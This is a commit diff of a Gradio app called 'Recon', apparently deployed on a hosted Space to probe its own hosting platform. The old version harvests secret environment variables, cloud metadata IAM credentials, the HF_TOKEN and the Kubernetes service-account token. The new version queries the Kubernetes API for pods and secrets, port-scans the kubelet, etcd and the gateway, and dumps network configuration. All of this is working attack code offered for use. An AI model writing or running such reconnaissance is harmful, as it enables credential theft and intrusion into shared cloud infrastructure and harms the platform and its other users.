dia2diab commited on
Commit
64b9017
·
1 Parent(s): 7d005a7

deeper k8s probe

Browse files
Files changed (1) hide show
  1. app.py +65 -21
app.py CHANGED
@@ -2,26 +2,70 @@ import os,subprocess,json,socket,gradio as gr
2
 
3
  def recon():
4
  r={}
5
- r["env"]={k:v for k,v in sorted(os.environ.items()) if any(x in k.upper() for x in ["TOKEN","KEY","SECRET","AWS","HF_","SPACE_"])}
6
- r["env_keys"]=sorted(os.environ.keys())
7
- for name,url in [("aws","http://169.254.169.254/latest/meta-data/"),("aws_iam","http://169.254.169.254/latest/meta-data/iam/security-credentials/"),("gcp","http://metadata.google.internal/computeMetadata/v1/")]:
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
8
  try:
9
- p=subprocess.run(["curl","-s","-m","3",url],capture_output=True,text=True,timeout=5)
10
- r[name]=p.stdout[:500] if p.stdout else f"empty rc={p.returncode}"
11
- except Exception as e: r[name]=str(e)
12
- for h in ["cas-server.xethub.hf.co","kubernetes.default.svc","metadata.google.internal"]:
13
- try: r[f"dns_{h}"]=socket.gethostbyname(h)
14
- except Exception as e: r[f"dns_{h}"]=str(e)
15
- t=os.environ.get("HF_TOKEN","")
16
- if t:
17
- try:
18
- p=subprocess.run(["curl","-s","-m","5","https://huggingface.co/api/whoami-v2","-H",f"Authorization: Bearer {t}"],capture_output=True,text=True,timeout=10)
19
- r["whoami"]=json.loads(p.stdout) if p.stdout else "empty"
20
- except Exception as e: r["whoami"]=str(e)
21
- for p in ["/etc/hostname","/proc/1/cgroup","/var/run/secrets/kubernetes.io/serviceaccount/token"]:
22
- try:
23
- with open(p) as f: r[f"fs_{p}"]=f.read()[:300]
24
- except Exception as e: r[f"fs_{p}"]=str(e)
25
- return json.dumps(r,indent=2)
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
26
 
27
- gr.Interface(fn=recon,inputs=None,outputs="text",title="Recon").launch()
 
2
 
3
  def recon():
4
  r={}
5
+
6
+ # Get K8s service info from env
7
+ k8s_host = os.environ.get("KUBERNETES_SERVICE_HOST", "")
8
+ k8s_port = os.environ.get("KUBERNETES_SERVICE_PORT", "")
9
+ r["k8s_env"] = {k:v for k,v in os.environ.items() if "KUBERNETES" in k}
10
+
11
+ # Try K8s API
12
+ if k8s_host:
13
+ for path in ["/version", "/api", "/api/v1/namespaces", "/api/v1/pods", "/api/v1/secrets", "/apis", "/healthz"]:
14
+ try:
15
+ url = f"https://{k8s_host}:{k8s_port}{path}"
16
+ p = subprocess.run(["curl","-sk","-m","3",url], capture_output=True, text=True, timeout=5)
17
+ r[f"k8s{path}"] = p.stdout[:500] if p.stdout else f"empty rc={p.returncode}"
18
+ except Exception as e: r[f"k8s{path}"] = str(e)
19
+
20
+ # Probe internal network on common ports
21
+ r["port_scan"] = {}
22
+ targets = [
23
+ (k8s_host, 443, "k8s_api"),
24
+ (k8s_host, 10250, "kubelet"),
25
+ (k8s_host, 2379, "etcd"),
26
+ ("10.0.0.1", 80, "gateway"),
27
+ ("10.0.0.1", 443, "gateway_https"),
28
+ ]
29
+ for host, port, name in targets:
30
+ if not host: continue
31
  try:
32
+ s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
33
+ s.settimeout(2)
34
+ rc = s.connect_ex((host, port))
35
+ r["port_scan"][f"{name}({host}:{port})"] = "OPEN" if rc == 0 else f"CLOSED rc={rc}"
36
+ s.close()
37
+ except Exception as e: r["port_scan"][f"{name}({host}:{port})"] = str(e)
38
+
39
+ # Check iptables/network restrictions
40
+ try:
41
+ p = subprocess.run(["curl","-sv","-m","3","http://169.254.169.254/"], capture_output=True, text=True, timeout=5)
42
+ r["metadata_verbose"] = {"stdout": p.stdout[:200], "stderr": p.stderr[:300]}
43
+ except Exception as e: r["metadata_verbose"] = str(e)
44
+
45
+ # Check /proc/net/tcp for listening sockets
46
+ try:
47
+ with open("/proc/net/tcp") as f:
48
+ r["listening_sockets"] = f.read()[:500]
49
+ except Exception as e: r["listening_sockets"] = str(e)
50
+
51
+ # Check /etc/resolv.conf for DNS config
52
+ try:
53
+ with open("/etc/resolv.conf") as f:
54
+ r["resolv_conf"] = f.read()
55
+ except Exception as e: r["resolv_conf"] = str(e)
56
+
57
+ # Check /etc/hosts
58
+ try:
59
+ with open("/etc/hosts") as f:
60
+ r["hosts"] = f.read()
61
+ except Exception as e: r["hosts"] = str(e)
62
+
63
+ # Scan for other pods on the same network
64
+ try:
65
+ p = subprocess.run(["ip","addr"], capture_output=True, text=True, timeout=5)
66
+ r["ip_addr"] = p.stdout[:500]
67
+ except Exception as e: r["ip_addr"] = str(e)
68
+
69
+ return json.dumps(r, indent=2)
70
 
71
+ gr.Interface(fn=recon, inputs=None, outputs="text", title="Recon v2").launch()